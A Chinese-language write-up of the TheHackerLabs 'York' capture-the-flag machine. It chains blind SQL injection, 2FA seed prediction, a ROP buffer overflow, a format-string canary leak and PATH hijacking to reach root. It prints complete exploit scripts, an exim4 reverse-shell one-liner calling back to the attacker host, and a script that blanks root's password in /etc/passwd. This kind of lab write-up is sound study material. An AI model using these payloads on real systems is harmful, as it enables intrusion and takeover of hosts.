Sublarge

// 红队渗透 · 2026-02-28

TheHackerLabs-York 靶机WP

York 是一台专家级高难度靶机,全程无简单漏洞,全程考验漏洞挖掘、代码审计、二进制 Pwn 与 Linux 提权能力。从 SQL 盲注、2FA 算法破解、ROP 链绕过 NX 保护,到格式化字符串泄露 Canary、栈溢出绕过保护机制,再到最终路径劫持拿下 root,每一步都是硬核攻防。整套渗透链环环相扣,是极具挑战的进阶实战靶机。

靶机信息

image.png 难度:Profesional

靶机链接:https://labs.thehackerslabs.com/machine/168

​

York 是 THL 的一台专家级高难度靶机,全程无简单漏洞,全程考验漏洞挖掘、代码审计、二进制 Pwn 与 Linux 提权能力。从 SQL 盲注、2FA 算法破解、ROP 链绕过 NX 保护,到格式化字符串泄露 Canary、栈溢出绕过保护机制,再到最终路径劫持拿下 root,每一步都是硬核攻防。整套渗透链环环相扣,是极具挑战的进阶实战靶机。

信息收集

端口扫描

首先,使用 nmap 进行扫描,以识别开放的端口。

nmap -p22,3000,6969,9696 -sCV -Pn -n -oN targeted $ip

扫描完成后,得到以下结果:

Nmap scan report for 192.168.56.89
Host is up (0.0041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7 (protocol 2.0)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=2620767971a2c5eb; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=HnIsMGxwxISHc0ZHgheI7u_a_pM6MTc3MDY3MjAyODc3Mzg4Mjk1OA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 09 Feb 2026 21:20:28 GMT
| <!DOCTYPE html>
| <html lang="en-US" data-theme="gitea-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>York Gitea</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiWW9yayBHaXRlYSIsInNob3J0X25hbWUiOiJZb3JrIEdpdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovLzE5Mi4xNjguNTYuMTAzOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly8xOTIuMTY4LjU2LjEwMzozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vMTkyLjE2OC41Ni4x"
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=0783f774877d26d8; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=CywKN7PUkdEtOHrXtZlVD1lOivg6MTc3MDY3MjAzMzg1NjU3NTc2NA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Mon, 09 Feb 2026 21:20:33 GMT
|_ Content-Length: 0
6969/tcp open acmsoda?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
| User: Password:
| NULL:
|_ User:
9696/tcp open unknown
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

我们发现了 4 个端口:22、3000、6969、9696

Gitea 信息收集

由于 6969 和 9696 端口运行的是未知服务,我们先从 3000 端口入手——该端口运行的是 Gitea,我们可能会在其中找到一些有价值的文件。

image.png

image.png

image.png

检查完代码仓库后,我们发现了一个属于 admin 用户的仓库,其中包含一段 C 语言代码。这段代码仅包含一个功能:生成 64 位的“安全”2FA 验证码。之所以给“安全”加引号,是因为这些验证码是基于 srand 时间种子生成的,因此可以被预测。

SQL 注入(SQLi)漏洞识别

在剩余两个端口(均带有登录功能)上进行测试后,我发现向 6969 端口输入单引号时,返回结果出现异常:

❯ nc 192.168.56.89 6969
User: admin
Password: admin
User or Password incorrect
❯ nc 192.168.56.89 6969
User: admin'
Password: a
❯

具体差异在于:输入单引号后,目标未返回错误提示信息,这意味着我们可能破坏了数据库查询语句。此时我们可以尝试使用 sqlmap 进行利用,但该工具仅适用于 Web 应用场景,因此我们只能选择手动利用,或搭建一个临时的 Flask Web 服务作为代理,将 Web 登录面板的请求转发至 6969 端口的登录服务。以下是手动利用的基础示例代码:

import socket
import time
import string
from pwn import log
HOST, PORT = '192.168.56.89', 6969
charset = ',' + string.ascii_lowercase + string.digits + '_'
extracted = ""
b1 = log.progress("payload")
b2 = log.progress("extracted")
for pos in range(1, 100):
    for c in charset:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((HOST, PORT))
        s.recv(1024)
        payload = f"admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),{pos},1)='{c}',SLEEP(1),0)#"
        b1.status(payload)
        start = time.time()
        s.sendall((payload + "\n").encode())
        s.recv(1024)
        s.sendall(b"x\n")
        s.recv(1024)
        elapsed = time.time() - start
        s.close()
        if elapsed > 0.9:
            extracted += c
            b2.status(extracted)
            break

漏洞利用与凭证获取

不过我选择使用 Web 代理的方式进行利用。针对这种一次性的临时需求,我借助 AI 生成了一个临时 Web 服务代码。实质上就是将非标准协议(TCP Raw Socket)转换为标准 HTTP 协议,搭了个转发层方便工具测试:

from flask import Flask, request
import socket
app = Flask(__name__)
# 配置目标信息
TARGET_HOST = "192.168.56.89"
TARGET_PORT = 6969
def tcp_relay(user, password):
    try:
        # 1. 建立 TCP 连接
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((TARGET_HOST, TARGET_PORT))
       
        # 2. 读取欢迎信息 (User:)
        s.recv(1024)
        s.sendall((user + "\n").encode())
       
        # 3. 读取密码提示 (Password:)
        s.recv(1024)
        s.sendall((password + "\n").encode())
       
        # 4. 获取最终响应内容
        response = s.recv(4096).decode(errors='ignore').strip()
        s.close()
        return response
    except Exception as e:
        return f"Error: {str(e)}"
@app.route("/", methods=["GET", "POST"])
def index():
    # 统一获取参数,支持 GET 和 POST
    user = request.values.get("user", "admin")
    password = request.values.get("pass", "admin")
   
    # 将请求转发至 TCP 服务端
    result = tcp_relay(user, password)
   
    # 打印日志方便调试
    print(f"[+] Testing User: {user} | Response: {result}")
   
    # 返回给 SQLMap
    return result
if __name__ == "__main__":
    app.run(host="127.0.0.1", port=8888, debug=False)

运行该脚本后,向本地 8888 端口发起 sqlmap 扫描:

sqlmap --url "http://127.0.0.1:8080/" --forms --batch --dbms=mysql

等待数分钟后,可确认目标存在漏洞:

---
Parameter: user (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user=ibbX' AND (SELECT 3041 FROM (SELECT(SLEEP(5)))MQdf) AND 'WKvr'='WKvr&pass=
---

确认漏洞后,我们可以枚举数据库,共发现 3 个数据库:

[*] bin_auth
[*] information_schema
[*] python_auth_proyect

基于上述结果,我们选择导出 bin_auth 数据库,最终成功获取到用户凭证。

❯ sqlmap -u "http://127.0.0.1:8888/?user=admin&pass=admin" --batch -p user -D bin_auth -T users -C username,password --dump

权限入侵

2FA 绕过

在 9696 端口测试获取到的凭证时,发现凭证正确,但系统要求输入二次验证(2FA)验证码:

❯ nc 192.168.56.89 9696
sáb 28 feb 2026 10:19:25 -03
Username: matsi
Password: Ultr4S3cr3tsecur3P4ssw0rd123_
Login Successful
Enter the 2fa code: 123123
Wrong Code
❯

看到这一现象,我们可以联想到此前发现的用于生成验证码的二进制程序。
尽管暂时无法通过 2FA 验证,但我们获取到了关键信息:目标返回的第一行内容是 date 命令的执行结果。这一点至关重要——如果本地系统与目标系统的时间存在偏差,基于 srand 种子生成的验证码将无法匹配。因此,我们需要先同步时间,设置正确的时区(目标系统时区为 GMT-3),编写脚本如下:

import ctypes
import re
from pwn import *
from datetime import datetime, timezone, timedelta
host, port = '192.168.56.89', 9696
libc = ctypes.CDLL("libc.so.6")
p = remote(host, port)
raw_date = p.recvline().decode().strip()
# 手动解析西班牙语/特定格式日期
months = {"ene":1,"feb":2,"mar":3,"abr":4,"may":5,"jun":6,"jul":7,"ago":8,"sep":9,"oct":10,"nov":11,"dic":12}
parts = re.search(r'(\d+) (\w+) (\d+) (\d+):(\d+):(\d+) ([+-]\d+)', raw_date)
day, mon_str, year, h, m, s, tz = parts.groups()
dt = datetime(int(year), months[mon_str.lower()], int(day), int(h), int(m), int(s))
seed = int(dt.replace(tzinfo=timezone(timedelta(hours=int(tz)))).timestamp())
libc.srand(seed)
p.sendline(b"matsi")
p.sendline(b"Ultr4S3cr3tsecur3P4ssw0rd123_")
lon = 64
fin = [1 + libc.rand() % 9]
for _ in range(1, lon):
    fin.append(libc.rand() % 10)
p.sendline(''.join(map(str, fin)).encode())
p.interactive()

通过这段代码,我们成功绕过 2FA 验证,并看到了一个新的操作菜单:

image.png

在上述选项中,第二个选项的价值最高。我们输入 2,得到了 Gitea 的用户凭证。

❯ python3 2fa.py
lun 09 feb 2026 20:30:24 -03
Username: Password: Login Successful
Enter the 2fa code:
[1] - Print a test message
[2] - Obtain special credentials from Gitea
[3] - Exit
> $ 2
matsi:&2c6d~B5$6wR~)n
$

​

易受攻击二进制程序分析

使用新获取的凭证登录 Gitea 后,我们发现了一个包含 9696 端口对应二进制程序的私有仓库

image.png

可通过程序运行行为确认匹配关系:

❯ ./bin
lun 09 feb 2026 20:53:51 -03
Username: matsi
Password: Ultr4S3cr3tsecur3P4ssw0rd123_
Login Successful
Enter the 2fa code: a
Wrong Code
❯

使用 ida 分析该二进制程序后发现,“Print a test message”选项存在数据写入超出缓冲区容量的问题,由此可判定该程序存在缓冲区溢出(Buffer Overflow)漏洞。

image.png

缓冲区溢出 ROP 链利用

查看该二进制程序的保护机制,发现仅启用了 NX 保护:

❯ checksec bin
[*] './bin'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x400000)
    Stripped: No
❯

这意味着栈区不可执行,因此我们无法通过植入 shellcode 的方式实现利用(shellcode 永远不会被执行)。我们可以尝试 ret2libc 攻击,但如果目标系统启用了 ASLR(地址空间布局随机化),libc 的基地址会在每次程序执行时变化,这会大幅增加利用难度(需要先泄露 libc 基地址)。相比之下,使用 ROP 链 进行利用更为简单——只需找到若干可用的 gadgets(小工具),即可完成漏洞利用。

查找偏移量

首先需要确定缓冲区溢出的偏移量。我们可以使用 Metasploit 的工具生成模式字符串,并将其传入目标程序:

❯ pattern_create.rb -l 120
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8<SNIP>9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9
❯

修改测试代码,使其发送模式字符串,并预留足够时间让我们通过 gdb 附加到进程:

import ctypes
import time
from pwn import *
libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = (ctypes.c_uint,)
libc.rand.restype = ctypes.c_int
p = process("./bin")
p.sendline(b"matsi")
p.sendline(b"Ultr4S3cr3tsecur3P4ssw0rd123_")
lon = 64
libc.srand(int(time.time()))
fin = []
fin.append(1 + libc.rand() % 9)
i = 1
while i < lon:
  num = 0 + libc.rand() % 10
  fin.insert(i, num)
  i += 1
code = ''.join(map(str, fin)).encode()
p.sendline(code)
p.sendline(b'1')
p.sendline(b"NOP")
### BOF DATA ###
pattern = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9'
payload = pattern
pause()
### Buffer Overflow Input ###
p.sendline(payload)
p.interactive()

上述代码中,我们使用 pause() 函数“冻结”进程,以便通过 gdb 附加:

image.png

执行代码后,我们可以看到进程 PID,使用 gdb 附加到该进程:

❯ gdb -p 1927345

在 gdb 中输入 continue 继续执行,同时在漏洞利用脚本中按下任意键。
当程序崩溃时,执行 info frame 命令,即可获取计算偏移量所需的关键值:

pwndbg> info frame
Stack level 0, frame at 0x7fff7b5ec250:
 rip = 0x40174d in main; saved rip = 0x4130634139624138
 called by frame at 0x7fff7b5ec258
 Arglist at 0x6241376241366241, args: 
 Locals at 0x6241376241366241, Previous frame's sp is 0x7fff7b5ec250
 Saved registers:
  rbp at 0x7fff7b5ec240, rip at 0x7fff7b5ec248
❯ pattern_offset.rb -q 0x4130634139624138
[*] Exact match at offset 56

确定偏移量后,接下来需要查找可用于利用的函数、gadgets 等资源。

二进制程序内部查找

我们可以使用 radare2 进行查找,但为了便捷性,我选择使用 ida。
在分析过程中,我们发现了 _xl 函数:

❯ objdump -D bin | grep '_xl' -A 7
00000000004011cc <_xl>:
  4011cc: 55 push %rbp
  4011cd: 48 89 e5 mov %rsp,%rbp
  4011d0: 48 89 e7 mov %rsp,%rdi
  4011d3: 41 ff e5 jmp *%r13
  4011d6: 90 nop
  4011d7: 0f 0b ud2

该函数的价值在于:第二条指令将栈顶(RSP)内容复制到 RDI 寄存器——而调用 system 函数时,其第一个参数正是从 RDI 寄存器读取(遵循 RDI > RSI > RDX > RCX > R8 > R9 的参数传递规则)。当程序执行到栈顶时,我们可以将 /bin/sh\x00 字符串放入 RDI 寄存器,供后续 system 函数调用。此外,函数末尾的 JMP R13 指令也极具价值:我们只需找到 pop r13 这样的 gadget,将 system 函数的地址加载到 r13 寄存器,当 _xl 函数被调用时,即可成功执行 /bin/sh。

查找函数、system 及 pop r13 的地址

使用 objdump 即可获取上述关键地址:

❯ objdump -D bin | grep -E '_xl|system|pop %r13'
0000000000401050 <system@plt>:
  401050: ff 25 ba 2f 00 00 jmp *0x2fba(%rip) # 404010 <system@GLIBC_2.2.5>
  4011c6: 41 5d pop %r13
00000000004011cc <_xl>:
  4012ea: e8 61 fd ff ff call 401050 <system@plt>
  4016fa: e8 51 f9 ff ff call 401050 <system@plt>

至此,我们已获取所有必要的地址:

# System 地址 --> 0x401050
# _xl 函数地址 --> 0x4011cc
# Gadget 地址 --> 0x4011c6

基于上述信息,完善漏洞利用脚本:

import ctypes
import time
from pwn import *
libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = (ctypes.c_uint,)
libc.rand.restype = ctypes.c_int
p = process("./bin")
p.sendline(b"matsi")
p.sendline(b"Ultr4S3cr3tsecur3P4ssw0rd123_")
lon = 64
libc.srand(int(time.time()))
fin = []
fin.append(1 + libc.rand() % 9)
i = 1
while i < lon:
  num = 0 + libc.rand() % 10
  fin.insert(i, num)
  i += 1
code = ''.join(map(str, fin)).encode()
p.sendline(code)
p.sendline(b'1')
p.sendline(b"NOP")
### BOF DATA ###
offset = 56 - 8 # 减去 8 是为了给 '/bin/sh\x00' 字符串预留空间(使其位于栈顶并被移入 rdi)
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
pop_r13 = p64(0x4011c6)
function = p64(0x4011cc)
system_addr = p64(0x401050)
payload = junk + bin_sh + pop_r13 + system_addr + function
### Buffer Overflow Input ###
p.sendline(payload)
p.interactive()

通过该 payload,我们完成了所有利用准备——调用 _xl 函数时,即可获取交互式 shell:

image.png

接下来,修改脚本使其连接目标主机,获取 matsi 用户的交互式 shell:

import ctypes
import time
from pwn import *
host, port = '192.168.56.89', 9696
libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = (ctypes.c_uint,)
libc.rand.restype = ctypes.c_int
r = remote(host, port)
r.sendline(b"matsi")
r.sendline(b"Ultr4S3cr3tsecur3P4ssw0rd123_")
lon = 64
libc.srand(int(time.time() - 2)) # 时间偏移修正(延迟 2 秒)
fin = []
fin.append(1 + libc.rand() % 9)
i = 1
while i < lon:
  num = 0 + libc.rand() % 10
  fin.insert(i, num)
  i += 1
code = ''.join(map(str, fin)).encode()
r.sendline(code)
r.sendline(b'1')
r.sendline(b"NOP")
### BOF DATA ###
offset = 56 - 8 # 减去 8 是为了给 '/bin/sh\x00' 字符串预留空间(使其位于栈顶并被移入 rdi)
bin_sh = b'/bin/sh\x00'
junk = b"A"*offset
pop_r13 = p64(0x4011c6)
function = p64(0x4011cc)
system_addr = p64(0x401050)
payload = junk + bin_sh + pop_r13 + system_addr + function
### Buffer Overflow Input ###
r.sendline(payload)
r.interactive()

由于存在微小的时间偏差,我需要将时间回调 2 秒以生成正确的验证码:

❯ python3 exp.py
[+] Opening connection to 192.168.56.89 on port 9696: Done
[*] Switching to interactive mode
sáb 28 feb 2026 10:33:26 -03
Username: Password: Login Successful
Enter the 2fa code: 
[1] - Print a test message
[2] - Obtain special credentials from Gitea
[3] - Exit
> > NOP

Did the message print correctly?: $ id
uid=1000(matsi) gid=1000(matsi) grupos=1000(matsi)

至此,拿下 user.txt,过程十分艰辛。

image.png

然后把公钥写里边一份,方便 ssh 登录。

横向移动

利用 sudo 权限执行 exim4 提权

执行 sudo -l 查看权限,发现当前用户可以 NnN 用户身份执行 exim4。

image.png

查阅官方手册后,可通过以下方式进行利用:

echo -en '#!/bin/bash\nnc -c /bin/bash 192.168.56.6 4444' > /tmp/shell.sh && chmod 777 /tmp/shell.sh && sudo -u NnN exim4 -be 'x=${run{/tmp/shell.sh}}'
  • -be 选项:这是 Exim4 的“测试字符串扩展”模式(Base Expansion)。它允许用户在命令行中测试 Exim 的内置函数和语法,而不发送邮件。
  • ${run{...}}:这是 Exim 配置文件中的一个功能强大的指令,用于执行外部二进制文件或脚本。
  • 执行逻辑:当 exim4 处理 -be 后的表达式时,它会触发 ${run} 指令,从而以当前运行 exim4 的用户身份(即 NnN)执行 /tmp/shell.sh。

执行上述命令后,即可获取 NnN 用户的交互式 shell。

image.png

带栈保护(Canary)的缓冲区溢出利用

执行 sudo -l 后发现,当前用户可以 nati 用户身份执行 /opt/copy 路径下的二进制程序。我们先将该程序下载到本地,使用 ida 进行分析。

易受攻击二进制程序分析

首先查看 main 函数:

image.png

在该函数中可以看到,易受攻击的输入点通过 fgets 向 72 字节的缓冲区写入 120 字节数据。此外,第一个输入内容直接通过 printf 输出,这导致了格式化字符串漏洞——该漏洞可帮助我们泄露栈保护值(Canary)。
继续分析其他函数,发现以下关键函数:

undefined8 copy_file(void)
{
  FILE *__stream;
  undefined8 uVar1;
  FILE *__s;
  size_t sVar2;
  size_t __n;
  long in_FS_OFFSET;
  undefined1 local_1018 [4104];
  long local_10;
 
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("/tmp/sdfile","rb");
  if (__stream == (FILE *)0x0) {
    uVar1 = 0xffffffff;
  }
  else {
    __s = fopen("/tmp/lsdfile","wb");
    if (__s == (FILE *)0x0) {
      fclose(__stream);
      uVar1 = 0xfffffffe;
    }
    else {
      do {
        __n = fread(local_1018,1,0x1000,__stream);
        if (__n == 0) {
          fclose(__stream);
          fclose(__s);
          chmod("/tmp/lsdfile",0x180);
          uVar1 = 0;
          goto LAB_004012fd;
        }
        sVar2 = fwrite(local_1018,1,__n,__s);
      } while (__n == sVar2);
      fclose(__stream);
      fclose(__s);
      uVar1 = 0xfffffffd;
    }
  }
LAB_004012fd:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar1;
}

该函数将文件从 /tmp/sdfile 复制到 /tmp/lsdfile。我们可以调用该函数实现提权:由于当前是以 sudo 方式执行该程序(身份为 nati 用户),我们可将 /tmp/lsdfile 设置为指向 /home/nati/.ssh/authorized_keys 的符号链接,然后将 /tmp/sdfile 写入我们的 SSH 公钥。当函数执行时,即可将公钥写入 nati 用户的 authorized_keys 文件,进而通过 SSH 登录 nati 用户。

泄露栈保护值(Canary)地址

为泄露 Canary 地址,我们需要利用上述格式化字符串漏洞。首先编写 Python 脚本,向目标程序输入 %p(C 语言中,printf 的 %p 格式化符会以十六进制打印栈上的值)。单纯的 %p 价值有限,但结合数字使用(如 %12$p),即可打印栈上第 12 个值的十六进制形式。基于此,我们编写脚本循环执行 100 次,每次递增位置参数,通过视觉识别找到 Canary(x64/x86 系统中,Canary 通常以 00 结尾):

from pwn import *
context.log_level = 'error'
for i in range(1, 100):
    p = process("./copy")
    payload = f'%{i}$p'.encode()
    p.sendline(payload)
    data = p.recvline()
    canary = re.search(', (.*?)\\n', data.decode()).group(1)
    p.sendline(b"a")
    print(f'{i} -> {canary}')

执行脚本后,得到如下输出(节选):

1 -> 0x402039
2 -> (nil)
3 -> (nil)
4 -> 0x206d36b5
5 -> (nil)
6 -> 0x7024362500000000
7 -> 0xa
<SNIP>
17 -> 0x720de6ab4bb30700
18 -> 0x1
<SNIP>
36 -> 0x7ffd0cfe91b8
37 -> 0xf64671ebf0285600

从上述输出中可识别出 Canary 出现在两个位置:

  • %17$p
  • %37$p
    我们选择第一个位置(%17$p)作为每次执行程序时泄露 Canary 的方式。

编写基础利用脚本

首先整理已获取的信息:

  • 偏移量:72(通过 ida 分析得出)
  • Canary 地址:%17$p
  • 目标函数地址:待获取

接下来,修改脚本使其自动获取目标函数地址并完成利用:

from pwn import *
def main():
    elf = ELF("/opt/copy")
    function_addr = elf.symbols['copy_file']
    p = process(["sudo", "-u", "nati", "/opt/copy"])
    p.sendline(b"%17$p")
    data = p.recvline()
    c = re.search(', (.*?)\\n', data.decode()).group(1)
    cc = int(c, 16)
    canary = p64(cc)
    offset = 72
    payload = b"A"*offset + canary + b"A"*8 + p64(function_addr)
    p.sendline(payload)
if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        exit

将该脚本上传至目标主机后,需先创建 Python 虚拟环境(因目标主机未安装 pwntools):

python3 -m venv pwntools
source pwntools/bin/activate
pip install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple

执行利用脚本前,需完成以下准备工作:

### 切换到 /tmp 目录 ###
cd /tmp
### 创建所需文件 ###
touch sdfile && touch lsdfile
### 设置文件权限 ###
chmod 777 sdfile lsdfile
### 创建符号链接 ###
ln -sf /home/nati/.ssh/authorized_keys lsdfile
### 生成 SSH 密钥对 ###
ssh-keygen -t ed25519
### 将公钥写入源文件 ###
cp ~/.ssh/id_ed25519.pub /tmp/sdfile

完成上述操作后,执行利用脚本,即可通过 SSH 密钥登录 nati 用户。

image.png

这里我不用 socat 将程序绑定到端口运行, 常打格式化字符串的朋友应该懂,远程环境下的 Stdio 缓冲区行为与本地往往不一致,极易产生各种‘灵异’ Bug,直接打本地能避免不必要的麻烦。

路径劫持(Path Hijacking)

进一步枚举发现,nati 用户的家目录中存在一个设置了 SUID 权限的二进制程序。分析后发现,该程序以相对路径调用 uptime 命令:

nati@york:~$ ./msg 
Congratulations, you've reached the end of this challenge! Just 2 more steps and you'll finally be able to complete it.
total time elapsed: 
 11:09:16 up 11 min,  2 users,  load average: 0.04, 0.04, 0.01

基于此,我们可以编写一个提权脚本,原理就是把 root 密码置空然后切换成 root:

#!/bin/bash
sed 's/root:x:/root::/g' -i /etc/passwd
su

执行以下命令完成提权准备:

chmod +x uptime && export PATH=.:$PATH

运行目标二进制程序后,即可获取 root 权限的交互式 shell。

image.png

没想到最后作者还要折腾下你,需要我们循环解 3000 次压缩包,直接干:

while ls *.zip >/dev/null 2>&1; do f=$(ls -t *.zip | head -n1); unzip -o "$f" && rm "$f"; done && cat root.txt

image.png

最终拿到/root/root.txt,结束。

总结

  1. York 靶机作为一台专家难度靶机,渗透过程中综合利用了多种高级漏洞与技术,涵盖 SQL 注入、2FA 验证码预测、缓冲区溢出(ROP 链利用)、带 Canary 保护的缓冲区溢出、格式化字符串漏洞及路径劫持,对漏洞挖掘、利用思路和调试能力均提出了较高要求。
  2. 整个渗透测试的关键提权路径明确,逐步实现权限升级:普通用户 → matsi(通过缓冲区溢出漏洞获取权限)→ NnN(借助 sudo 权限执行 exim4 程序提权)→ nati(绕过 Canary 保护,结合符号链接与文件复制写入 SSH 公钥实现登录)→ root(利用路径劫持漏洞完成最终提权)。
  3. 渗透过程中的核心技巧的应用的是成功突破靶机的关键,主要包括:通过时间同步修正偏差,实现 2FA 验证码绕过;利用 ROP 链技术绕过 NX 保护,完成缓冲区溢出利用;借助格式化字符串漏洞精准泄露 Canary 值,突破栈保护;通过符号链接与文件复制功能结合,实现 SSH 公钥写入,完成横向移动与权限提升。

累了累了,休息下~

原文 https://xz.aliyun.com/news/91654